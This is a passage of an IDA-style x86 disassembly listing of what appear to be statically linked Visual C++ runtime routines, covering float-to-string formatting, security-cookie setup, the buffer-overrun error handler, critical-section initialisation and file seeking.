ds:byte_433AA4 mov [esi], cl inc esi loc_423967: ; CODE XREF: sub_42393A+38j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_423967 pop esi retn sub_42393A endp ; =============== S U B R O U T I N E ======================================= sub_423976 proc near ; CODE XREF: sub_41F8BB+4A2p ; DATA XREF: sub_41E4F8+Ao ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx mov bl, ds:byte_433AA4 jmp short loc_423988 ; --------------------------------------------------------------------------- loc_423983: ; CODE XREF: sub_423976+16j cmp cl, bl jz short loc_42398E inc eax loc_423988: ; CODE XREF: sub_423976+Bj mov cl, [eax] test cl, cl jnz short loc_423983 loc_42398E: ; CODE XREF: sub_423976+Fj mov cl, [eax] inc eax test cl, cl jz short loc_4239BF jmp short loc_4239A2 ; --------------------------------------------------------------------------- loc_423997: ; CODE XREF: sub_423976+30j cmp cl, 65h jz short loc_4239A8 cmp cl, 45h jz short loc_4239A8 inc eax loc_4239A2: ; CODE XREF: sub_423976+1Fj mov cl, [eax] test cl, cl jnz short loc_423997 loc_4239A8: ; CODE XREF: sub_423976+24j ; sub_423976+29j mov edx, eax loc_4239AA: ; CODE XREF: sub_423976+38j dec eax cmp byte ptr [eax], 30h jz short loc_4239AA cmp [eax], bl jnz short loc_4239B5 dec eax loc_4239B5: ; CODE XREF: sub_423976+3Cj ; sub_423976+47j mov cl, [edx] inc eax inc edx test cl, cl mov [eax], cl jnz short loc_4239B5 loc_4239BF: ; CODE XREF: sub_423976+1Dj pop ebx retn sub_423976 endp ; =============== S U B R O U T I N E ======================================= sub_4239C1 proc near ; DATA XREF: sub_41E4F8+28o ; .text:off_433980o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp ds:dbl_42A490 fnstsw ax test ah, 1 jnz short loc_4239D8 xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_4239D8: ; CODE XREF: sub_4239C1+11j xor eax, eax retn sub_4239C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4239DB proc near ; DATA XREF: sub_41E4F8+14o ; .text:off_433978o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_423A04 lea eax, [ebp+var_8] push eax call sub_4260B2 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_423A04: ; CODE XREF: sub_4239DB+Cj lea eax, [ebp+arg_0] push eax call sub_4260EF mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_0] mov [eax], ecx leave retn sub_4239DB endp ; =============== S U B R O U T I N E ======================================= sub_423A19 proc near ; CODE XREF: sub_423A36+23p ; sub_423B50+45p ... test edi, edi push esi mov esi, eax jz short loc_423A34 push esi call sub_41C350 inc eax push eax push esi add esi, edi push esi call sub_41BFA0 add esp, 10h loc_423A34: ; CODE XREF: sub_423A19+5j pop esi retn sub_423A19 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423A36 proc near ; CODE XREF: sub_423AE4+56p ; sub_423C4E+85p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 push esi mov esi, eax jz short loc_423A5F xor eax, eax cmp [ebp+arg_0], eax push edi setnle al xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl mov edi, eax add ecx, ebx mov eax, ecx call sub_423A19 pop edi loc_423A5F: ; CODE XREF: sub_423A36+Aj cmp dword ptr [esi], 2Dh mov eax, ebx jnz short loc_423A6C mov byte ptr [ebx], 2Dh lea eax, [ebx+1] loc_423A6C: ; CODE XREF: sub_423A36+2Ej cmp [ebp+arg_0], 0 jle short loc_423A83 lea ecx, [eax+1] mov dl, [ecx] mov [eax], dl mov eax, ecx mov cl, ds:byte_433AA4 mov [eax], cl loc_423A83: ; CODE XREF: sub_423A36+3Aj xor ecx, ecx cmp [ebp+arg_8], cl push offset dword_42A498 setz cl add ecx, eax add ecx, [ebp+arg_0] push ecx call sub_41C930 cmp [ebp+arg_4], 0 pop ecx pop ecx mov ecx, eax jz short loc_423AA8 mov byte ptr [ecx], 45h loc_423AA8: ; CODE XREF: sub_423A36+6Dj mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_423ADF mov eax, [esi+4] dec eax jns short loc_423ABC neg eax mov byte ptr [ecx], 2Dh loc_423ABC: ; CODE XREF: sub_423A36+7Fj inc ecx cmp eax, 64h jl short loc_423ACC cdq push 64h pop esi idiv esi add [ecx], al mov eax, edx loc_423ACC: ; CODE XREF: sub_423A36+8Aj inc ecx cmp eax, 0Ah jl short loc_423ADC cdq push 0Ah pop esi idiv esi add [ecx], al mov eax, edx loc_423ADC: ; CODE XREF: sub_423A36+9Aj add [ecx+1], al loc_423ADF: ; CODE XREF: sub_423A36+79j mov eax, ebx pop esi pop ebp retn sub_423A36 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423AE4 proc near ; CODE XREF: sub_423CE8+47p var_2C = dword ptr -2Ch var_1C = byte ptr -1Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 2Ch mov eax, ds:dword_433148 push ebx mov [ebp+var_4], eax push esi lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_2C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+4] push dword ptr [eax] call sub_426AE4 mov esi, [ebp+arg_8] mov ebx, [ebp+arg_4] lea eax, [ebp+var_2C] push eax lea eax, [esi+1] push eax xor eax, eax cmp [ebp+var_2C], 2Dh setz al xor ecx, ecx test esi, esi setnle cl add eax, ebx add ecx, eax push ecx call sub_4269B3 push 0 push [ebp+arg_C] lea eax, [ebp+var_2C] push esi call sub_423A36 mov ecx, [ebp+var_4] add esp, 28h pop esi mov eax, ebx pop ebx call sub_41E5BB leave retn sub_423AE4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423B50 proc near ; CODE XREF: sub_423BEC+4Cp ; sub_423C4E+72p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, eax mov eax, [esi+4] dec eax cmp [ebp+arg_8], 0 push edi jz short loc_423B7D cmp eax, [ebp+arg_4] jnz short loc_423B7D xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, [ebp+arg_0] mov eax, ecx mov byte ptr [eax], 30h mov byte ptr [eax+1], 0 loc_423B7D: ; CODE XREF: sub_423B50+10j ; sub_423B50+15j cmp dword ptr [esi], 2Dh mov ebx, [ebp+arg_0] jnz short loc_423B89 mov byte ptr [ebx], 2Dh inc ebx loc_423B89: ; CODE XREF: sub_423B50+33j mov eax, [esi+4] xor edi, edi inc edi test eax, eax jg short loc_423BA0 mov eax, ebx call sub_423A19 mov byte ptr [ebx], 30h inc ebx jmp short loc_423BA2 ; --------------------------------------------------------------------------- loc_423BA0: ; CODE XREF: sub_423B50+41j add ebx, eax loc_423BA2: ; CODE XREF: sub_423B50+4Ej cmp [ebp+arg_4], 0 jle short loc_423BE4 mov eax, ebx call sub_423A19 mov al, ds:byte_433AA4 mov [ebx], al mov esi, [esi+4] inc ebx test esi, esi jge short loc_423BE4 neg esi cmp [ebp+arg_8], 0 jnz short loc_423BCB cmp [ebp+arg_4], esi jl short loc_423BCE loc_423BCB: ; CODE XREF: sub_423B50+74j mov [ebp+arg_4], esi loc_423BCE: ; CODE XREF: sub_423B50+79j mov edi, [ebp+arg_4] mov eax, ebx call sub_423A19 push edi push 30h push ebx call sub_41C6D0 add esp, 0Ch loc_423BE4: ; CODE XREF: sub_423B50+56j ; sub_423B50+6Cj mov eax, [ebp+arg_0] pop edi pop esi pop ebx pop ebp retn sub_423B50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423BEC proc near ; CODE XREF: sub_423CE8+1Ep var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_1C = byte ptr -1Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 2Ch mov eax, ds:dword_433148 mov [ebp+var_4], eax push esi lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_2C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+4] push dword ptr [eax] call sub_426AE4 mov esi, [ebp+arg_8] lea eax, [ebp+var_2C] push eax mov eax, [ebp+var_28] add eax, esi push eax xor eax, eax cmp [ebp+var_2C], 2Dh setz al add eax, [ebp+arg_4] push eax call sub_4269B3 push 0 push esi push [ebp+arg_4] lea eax, [ebp+var_2C] call sub_423B50 mov ecx, [ebp+var_4] mov eax, [ebp+arg_4] add esp, 28h pop esi call sub_41E5BB leave retn sub_423BEC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423C4E proc near ; CODE XREF: sub_423CE8+34p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_1C = byte ptr -1Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 2Ch mov eax, ds:dword_433148 push ebx push esi mov [ebp+var_4], eax push edi lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_2C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+4] push dword ptr [eax] call sub_426AE4 mov esi, [ebp+var_28] mov ebx, [ebp+arg_8] xor eax, eax dec esi cmp [ebp+var_2C], 2Dh setz al add eax, [ebp+arg_4] mov edi, eax lea eax, [ebp+var_2C] push eax push ebx push edi call sub_4269B3 mov eax, [ebp+var_28] add esp, 1Ch dec eax cmp esi, eax setl cl cmp eax, 0FFFFFFFCh jl short loc_423CC7 cmp eax, ebx jge short loc_423CC7 test cl, cl jz short loc_423CB7 loc_423CAD: ; CODE XREF: sub_423C4E+64j mov al, [edi] inc edi test al, al jnz short loc_423CAD mov [edi-2], al loc_423CB7: ; CODE XREF: sub_423C4E+5Dj push 1 push ebx push [ebp+arg_4] lea eax, [ebp+var_2C] call sub_423B50 jmp short loc_423CD8 ; --------------------------------------------------------------------------- loc_423CC7: ; CODE XREF: sub_423C4E+55j ; sub_423C4E+59j push 1 push [ebp+arg_C] lea eax, [ebp+var_2C] push ebx mov ebx, [ebp+arg_4] call sub_423A36 loc_423CD8: ; CODE XREF: sub_423C4E+77j mov ecx, [ebp+var_4] add esp, 0Ch pop edi pop esi pop ebx call sub_41E5BB leave retn sub_423C4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423CE8 proc near ; CODE XREF: sub_41F8BB+476p ; DATA XREF: sub_41E4F8o ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_423D23 cmp [ebp+arg_8], 45h jz short loc_423D23 cmp [ebp+arg_8], 66h jnz short loc_423D10 push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_423BEC add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_423D10: ; CODE XREF: sub_423CE8+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_423C4E jmp short loc_423D34 ; --------------------------------------------------------------------------- loc_423D23: ; CODE XREF: sub_423CE8+7j ; sub_423CE8+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_423AE4 loc_423D34: ; CODE XREF: sub_423CE8+39j add esp, 10h pop ebp retn sub_423CE8 endp ; =============== S U B R O U T I N E ======================================= sub_423D39 proc near ; CODE XREF: sub_41E530+16p push 30000h push 10000h call sub_426CAB pop ecx pop ecx retn sub_423D39 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423D4B proc near ; CODE XREF: sub_423D8B:loc_423DAFj var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld ds:dbl_42A4A8 fstp [ebp+var_8] fld ds:dbl_42A4A0 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp ds:dbl_429F30 fnstsw ax test ah, 41h jnz short loc_423D87 xor eax, eax inc eax leave retn ; --------------------------------------------------------------------------- loc_423D87: ; CODE XREF: sub_423D4B+35j xor eax, eax leave retn sub_423D4B endp ; =============== S U B R O U T I N E ======================================= sub_423D8B proc near ; CODE XREF: sub_41E530+5p push offset aKernel32 ; "KERNEL32" call ds:dword_4290BC ; GetModuleHandleA test eax, eax jz short loc_423DAF push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax call ds:dword_4290E0 ; GetProcAddress test eax, eax jz short loc_423DAF push 0 call eax ; sub_41E530 retn ; --------------------------------------------------------------------------- loc_423DAF: ; CODE XREF: sub_423D8B+Dj ; sub_423D8B+1Dj jmp sub_423D4B sub_423D8B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423DB4 proc near ; DATA XREF: .text:00433004o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10h mov eax, ds:dword_433148 test eax, eax jz short loc_423DCA cmp eax, 0BB40E64Eh jnz short locret_423E18 loc_423DCA: ; CODE XREF: sub_423DB4+Dj push esi lea eax, [ebp+var_8] push eax call ds:dword_429120 ; GetSystemTimeAsFileTime mov esi, [ebp+var_4] xor esi, [ebp+var_8] call ds:dword_429148 ; GetCurrentProcessId xor esi, eax call ds:dword_4291A4 ; GetCurrentThreadId xor esi, eax call ds:dword_4290A8 ; GetTickCount xor esi, eax lea eax, [ebp+var_10] push eax call ds:dword_42903C ; QueryPerformanceCounter mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor esi, eax mov ds:dword_433148, esi jnz short loc_423E17 mov ds:dword_433148, 0BB40E64Eh loc_423E17: ; CODE XREF: sub_423DB4+57j pop esi locret_423E18: ; CODE XREF: sub_423DB4+14j leave retn sub_423DB4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423E1A proc near ; CODE XREF: sub_41E5BB-1Dp var_134 = dword ptr -134h var_128 = dword ptr -128h var_124 = byte ptr -124h var_20 = byte ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push 118h push offset stru_42A680 call __SEH_prolog mov eax, ds:dword_433148 mov [ebp+var_1C], eax mov eax, ds:dword_435840 xor ecx, ecx cmp eax, ecx jz short loc_423E5B mov [ebp+ms_exc.disabled], ecx push [ebp+arg_4] push [ebp+arg_0] call eax pop ecx pop ecx loc_423E49: ; CODE XREF: sub_423E1A+3Fj or [ebp+ms_exc.disabled], 0FFFFFFFFh jmp loc_423F5A ; --------------------------------------------------------------------------- loc_423E52: ; DATA XREF: .text:stru_42A680o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_423E56: ; DATA XREF: .text:stru_42A680o mov esp, [ebp+ms_exc.old_esp] jmp short loc_423E49 ; --------------------------------------------------------------------------- loc_423E5B: ; CODE XREF: sub_423E1A+20j mov eax, [ebp+arg_0] dec eax jz short loc_423E77 mov edi, offset aUnknownSecurit ; "Unknown security failure detected!" mov [ebp+var_128], offset aASecurityError ; "A security error of unknown cause has b"... mov esi, 0D4h jmp short loc_423E8B ; --------------------------------------------------------------------------- loc_423E77: ; CODE XREF: sub_423E1A+45j mov edi, offset aBufferOverrunD ; "Buffer overrun detected!" mov [ebp+var_128], offset aABufferOverrun ; "A buffer overrun has been detected whic"... mov esi, 0B9h loc_423E8B: ; CODE XREF: sub_423E1A+5Bj mov [ebp+var_20], cl push 104h lea eax, [ebp+var_124] push eax push ecx call ds:dword_4290B8 ; GetModuleFileNameA test eax, eax jnz short loc_423EB8 push offset aProgramNameUnk ; "<program name unknown>" lea eax, [ebp+var_124] push eax call sub_41C930 pop ecx pop ecx loc_423EB8: ; CODE XREF: sub_423E1A+89j lea ebx, [ebp+var_124] mov eax, ebx push eax call sub_41C350 pop ecx add eax, 0Bh cmp eax, 3Ch jbe short loc_423EF4 mov eax, ebx push eax call sub_41C350 mov ebx, eax lea eax, [ebp+var_124] sub eax, 31h add ebx, eax push 3 push offset a___ ; "..." push ebx call sub_41C5A0 add esp, 10h loc_423EF4: ; CODE XREF: sub_423E1A+B3j push ebx call sub_41C350 pop ecx lea eax, [eax+esi+0Ch] add eax, 3 and eax, 0FFFFFFFCh call sub_41E090 mov [ebp+ms_exc.old_esp], esp mov esi, esp push edi push esi call sub_41C930 mov edi, offset asc_42A3C0 ; "\n\n" push edi push esi call sub_41C940 push offset aProgram ; "Program: " push esi call sub_41C940 push ebx push esi call sub_41C940 push edi push esi call sub_41C940 push [ebp+var_128] push esi call sub_41C940 push 12010h push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push esi call sub_426724 add esp, 3Ch loc_423F5A: ; CODE XREF: sub_423E1A+33j push 3 call sub_41F66F int 3 ; Trap to Debugger loc_423F62: ; DATA XREF: sub_423F72:loc_423FB4o push [esp+138h+var_134] call ds:dword_429080 ; InitializeCriticalSection xor eax, eax inc eax retn 8 sub_423E1A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423F72 proc near ; CODE XREF: sub_41E830+26p ; sub_41E8E3+4Cp ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push 10h push offset stru_42A6B8 call __SEH_prolog mov eax, ds:dword_435844 test eax, eax jnz short loc_423FBE cmp ds:dword_43565C, 1 jz short loc_423FB4 push offset aKernel32_dll_0 ; "kernel32.dll" call ds:dword_4290BC ; GetModuleHandleA test eax, eax jz short loc_423FB4 push offset aInitializecrit ; "InitializeCriticalSectionAndSpinCount" push eax call ds:dword_4290E0 ; GetProcAddress mov ds:dword_435844, eax test eax, eax jnz short loc_423FBE loc_423FB4: ; CODE XREF: sub_423F72+1Cj ; sub_423F72+2Bj mov eax, offset loc_423F62 mov ds:dword_435844, eax loc_423FBE: ; CODE XREF: sub_423F72+13j ; sub_423F72+40j and [ebp+ms_exc.disabled], 0 push [ebp+arg_4] push [ebp+arg_0] call eax ; InitializeCriticalSectionAndSpinCount mov [ebp+var_20], eax jmp short loc_423FF3 ; --------------------------------------------------------------------------- loc_423FCF: ; DATA XREF: .text:stru_42A6B8o mov eax, [ebp+ms_exc.exc_ptr] mov eax, [eax] mov eax, [eax] mov [ebp+var_1C], eax xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_423FDD: ; DATA XREF: .text:stru_42A6B8o mov esp, [ebp+ms_exc.old_esp] cmp [ebp+var_1C], 0C0000017h jnz short loc_423FF1 push 8 call ds:dword_429078 ; RtlRestoreLastWin32Error loc_423FF1: ; CODE XREF: sub_423F72+75j xor eax, eax loc_423FF3: ; CODE XREF: sub_423F72+5Bj or [ebp+ms_exc.disabled], 0FFFFFFFFh call __SEH_epilog retn sub_423F72 endp ; =============== S U B R O U T I N E ======================================= sub_423FFD proc near ; CODE XREF: sub_421B9F+263p ; sub_421B9F+2CEp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push esi call sub_425764 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_42401E call sub_4200B5 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_42401E: ; CODE XREF: sub_423FFD+Fj push edi push [esp+8+arg_8] push 0 push [esp+10h+arg_4] push eax call ds:dword_4290FC ; SetFilePointer mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_42403F call ds:dword_4290D8 ; RtlGetLastWin32Error jmp short loc_424041 ; --------------------------------------------------------------------------- loc_42403F: ; CODE XREF: sub_423FFD+38j xor eax, eax loc_424041: ; CODE XREF: sub_423FFD+40j test eax, eax jz short loc_424051 push eax call sub_4200C7 pop ecx or eax, 0FFFFFFFFh jmp short loc_42406E ; --------------------------------------------------------------------------- loc_424051: ; CODE XREF: sub_423FFD+46j mov ecx, esi and esi, 1Fh sar ecx, 5 mov ecx, ds:dword_438460[ecx*4] mov eax, esi lea eax, [eax+eax*8] lea eax, [ecx+eax*4+4] and byte ptr [eax], 0FDh mov eax, edi loc_42406E: ; CODE XREF: sub_423FFD+52j pop edi pop esi retn sub_423FFD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424071 proc near ; CODE XREF: sub_41F714+D0p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h ; FUNCTION CHUNK AT 00424100 SIZE 0000001C BYTES push 0Ch push offset stru_42A6C8 call __SEH_prolog mov ebx, [ebp+arg_0] cmp ebx, ds:dword_43844C jnb short loc_424100 mov eax, ebx sar eax, 5 lea edi, ds:438460h[eax*4] mov eax, ebx and eax, 1Fh lea esi, [eax+eax*8] shl esi, 2 mov eax, [edi] test byte ptr [eax+esi+4], 1 jz short loc_424100 push ebx call sub_4257A5 pop ecx and [ebp+ms_exc.disabled], 0 mov eax, [edi] test byte ptr [eax+esi+4], 1 jz short loc_4240D0 push [ebp+arg_8] push [ebp+arg_4] push ebx call sub_423FFD add esp, 0Ch mov [ebp+var_1C], eax jmp short loc_4240E7 ; --------------------------------------------------------------------------- loc_4240D0: ; CODE XREF: sub_424071+49j call sub_4200B5 mov dword ptr [eax], 9 call sub_4200BE and dword ptr [eax], 0 or [ebp+var_1C], 0FFFFFFFFh loc_4240E7: ; CODE XREF: sub_424071+5Dj or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_4240F8 mov eax, [ebp+var_1C] jmp short loc_424116 sub_424071 endp ; =============== S U B R O U T I N E ======================================= sub_4240F5 proc near ; DATA XREF: .text:stru_42A6C8o mov ebx, [ebp+8] sub_4240F5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4240F8 proc near ; CODE XREF: sub_424071+7Ap push ebx call sub_425845 pop ecx retn sub_4240F8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424071 loc_424100: ; CODE XREF: sub_424071+15j ; sub_424071+35j call sub_4200B5 mov dword ptr [eax], 9 call sub_4200BE and dword ptr [eax], 0 or eax, 0FFFFFFFFh loc_424116: ; CODE XREF: sub_424071+82j call __SEH_epilog retn ; END OF FUNCTION CHUNK FOR sub_424071 ; =============== S U B R O U T I N E ======================================= sub_42411C proc near ; CODE XREF: sub_41F714+6Fp ; sub_421EDB+34p arg_0 = dword ptr 4 inc ds:dword_4356C0 push 1000h call sub_41D0C4 test eax, eax pop ecx mov ecx, [esp+arg_0] mov [ecx+8], eax jz short loc_424145 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_424156 ; --------------------------------------------------------------------------- loc_424145: ; CODE XREF: sub_42411C+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_424156: ; CODE XREF: sub_42411C+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_42411C endp ; =============== S U B R O U T I N E ======================================= sub_424160 proc near ; CODE XREF: sub_41F714+64p ; sub_420FAE+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, ds:dword_43844C jb short loc_42416F xor eax, eax retn ; --------------------------------------------------------------------------- loc_42416F: ; CODE XREF: sub_424160+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, ds:dword_438460[ecx*4] lea eax, [eax+eax*8] movsx eax, byte ptr [ecx+eax*4+4] and eax, 40h retn sub_424160 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42418A proc near ; CODE XREF: sub_4241EA+1Ep arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = word ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] push esi xor esi, esi cmp ecx, esi jnz short loc_42419B xor eax, eax jmp short loc_4241E7 ; --------------------------------------------------------------------------- loc_42419B: ; CODE XREF: sub_42418A+Bj mov eax, [ebp+arg_0] cmp [eax+14h], esi jnz short loc_4241B4 mov ax, [ebp+arg_8] cmp ax, 0FFh ja short loc_4241D9 mov [ecx], al xor eax, eax inc eax jmp short loc_4241E7 ; --------------------------------------------------------------------------- loc_4241B4: ; CODE XREF: sub_42418A+17j lea edx, [ebp+arg_4] push edx push esi push dword ptr [eax+28h] mov [ebp+arg_4], esi push ecx push 1 lea ecx, [ebp+arg_8] push ecx push esi push dword ptr [eax+4] call ds:dword_429174 ; WideCharToMultiByte cmp eax, esi jz short loc_4241D9 cmp [ebp+arg_4], esi jz short loc_4241E7 loc_4241D9: ; CODE XREF: sub_42418A+21j ; sub_42418A+48j call sub_4200B5 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh loc_4241E7: ; CODE XREF: sub_42418A+Fj ; sub_42418A+28j ... pop esi pop ebp retn sub_42418A endp ; =============== S U B R O U T I N E ======================================= sub_4241EA proc near ; CODE XREF: sub_41F8BB+343p ; sub_41F8BB+74Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 call sub_4203B6 mov eax, [eax+64h] cmp eax, ds:off_433444 jz short loc_4241FF call sub_420342 loc_4241FF: ; CODE XREF: sub_4241EA+Ej push [esp+arg_4] push [esp+4+arg_0] push eax call sub_42418A add esp, 0Ch retn sub_4241EA endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_424220 proc near ; CODE XREF: sub_41F8BB+654p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi mov eax, [esp+4+arg_C] or eax, eax jnz short loc_424251 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+4+arg_0] div ecx mov esi, eax mov eax, ebx mul [esp+4+arg_8] mov ecx, eax mov eax, esi mul [esp+4+arg_8] add edx, ecx jmp short loc_424298 ; --------------------------------------------------------------------------- loc_424251: ; CODE XREF: sub_424220+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_42425F: ; CODE XREF: sub_424220+49j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_42425F div ebx mov esi, eax mul [esp+4+arg_C] mov ecx, eax mov eax, [esp+4+arg_8] mul esi add edx, ecx jb short loc_42428D cmp edx, [esp+4+arg_4] ja short loc_42428D jb short loc_424296 cmp eax, [esp+4+arg_0] jbe short loc_424296 loc_42428D: ; CODE XREF: sub_424220+5Dj ; sub_424220+63j dec esi sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_424296: ; CODE XREF: sub_424220+65j ; sub_424220+6Bj xor ebx, ebx loc_424298: ; CODE XREF: sub_424220+2Fj sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 mov ecx, edx mov edx, ebx mov ebx, ecx mov ecx, eax mov eax, esi pop esi retn 10h sub_424220 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4242B5 proc near ; CODE XREF: sub_42013A+60p ; sub_424828+A1p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push 1Ch push offset stru_42A6D8 call __SEH_prolog xor esi, esi cmp ds:dword_435848, esi jnz short loc_424300 lea eax, [ebp+var_1C] push eax xor edi, edi inc edi push edi push offset dword_429F70 push edi call ds:dword_429034 ; GetStringTypeW test eax, eax jz short loc_4242EB mov ds:dword_435848, edi jmp short loc_424300 ; --------------------------------------------------------------------------- loc_4242EB: ; CODE XREF: sub_4242B5+2Cj call ds:dword_4290D8 ; RtlGetLastWin32Error cmp eax, 78h jnz short loc_424300 mov ds:dword_435848, 2 loc_424300: ; CODE XREF: sub_4242B5+14j ; sub_4242B5+34j ... mov eax, ds:dword_435848 cmp eax, 2 jz loc_4243F8 cmp eax, esi jz loc_4243F8 cmp eax, 1 jnz loc_42441E mov [ebp+var_24], esi mov [ebp+var_20], esi cmp [ebp+arg_10], esi jnz short loc_424332 mov eax, ds:dword_435894 mov [ebp+arg_10], eax loc_424332: ; CODE XREF: sub_4242B5+73j push esi push esi push [ebp+arg_8] push [ebp+arg_4] xor eax, eax cmp [ebp+arg_18], esi setnz al lea eax, ds:1[eax*8] push eax push [ebp+arg_10] call ds:dword_429124 ; MultiByteToWideChar mov edi, eax mov [ebp+var_28], edi test edi, edi jz loc_42441E and [ebp+ms_exc.disabled], 0 lea ebx, 